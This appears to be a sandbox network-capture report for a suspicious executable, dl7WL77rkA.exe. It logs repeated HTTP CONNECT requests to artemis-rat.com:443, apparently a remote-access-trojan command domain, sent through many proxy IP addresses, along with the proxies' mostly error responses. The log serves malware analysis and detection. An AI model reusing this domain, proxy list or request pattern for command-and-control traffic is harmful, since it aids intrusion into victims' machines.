Mar 11, 2024 03:30:42.568173885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.701942921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.661421061 CET	319	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 02:30:46 GMT Content-Type: text/html Content-Length: 170 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Mar 11, 2024 03:30:49.664738894 CET	319	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 02:30:46 GMT Content-Type: text/html Content-Length: 170 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Mar 11, 2024 03:30:55.672926903 CET	319	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 02:30:46 GMT Content-Type: text/html Content-Length: 170 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Mar 11, 2024 03:31:07.689439058 CET	319	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 02:30:46 GMT Content-Type: text/html Content-Length: 170 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Mar 11, 2024 03:31:31.789619923 CET	319	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 02:30:46 GMT Content-Type: text/html Content-Length: 170 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Mar 11, 2024 03:32:19.883738041 CET	319	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 02:30:46 GMT Content-Type: text/html Content-Length: 170 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1180	192.168.2.5	53325	172.67.181.103	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.569870949 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.724399090 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1181	192.168.2.5	53147	39.108.227.108	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.570430994 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.904612064 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1182	192.168.2.5	53149	114.132.202.125	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.573857069 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.108999968 CET	84	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:42 GMT Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1183	192.168.2.5	53332	172.67.255.224	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.581270933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.735474110 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1184	192.168.2.5	51327	103.200.135.228	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.581273079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1185	192.168.2.5	53207	219.73.88.167	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.582325935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.896959066 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1186	192.168.2.5	52634	162.214.170.144	25347	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.582688093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.701931953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.702167034 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.702297926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1187	192.168.2.5	51514	162.214.191.209	58275	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.583041906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.701976061 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.702183962 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.702297926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1188	192.168.2.5	53226	94.130.94.45	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.585061073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.893260956 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1189	192.168.2.5	53109	115.248.66.131	3129	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.591588974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.291887045 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1190	192.168.2.5	53305	162.241.79.22	52048	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.595506907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.201685905 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.905181885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.202058077 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.702094078 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1191	192.168.2.5	53351	185.162.229.70	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.599678993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.754149914 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1192	192.168.2.5	53213	181.12.80.21	12000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.599972010 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1193	192.168.2.5	53135	103.49.202.252	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.600147009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.978923082 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1194	192.168.2.5	53256	38.7.204.129	999	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.603795052 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
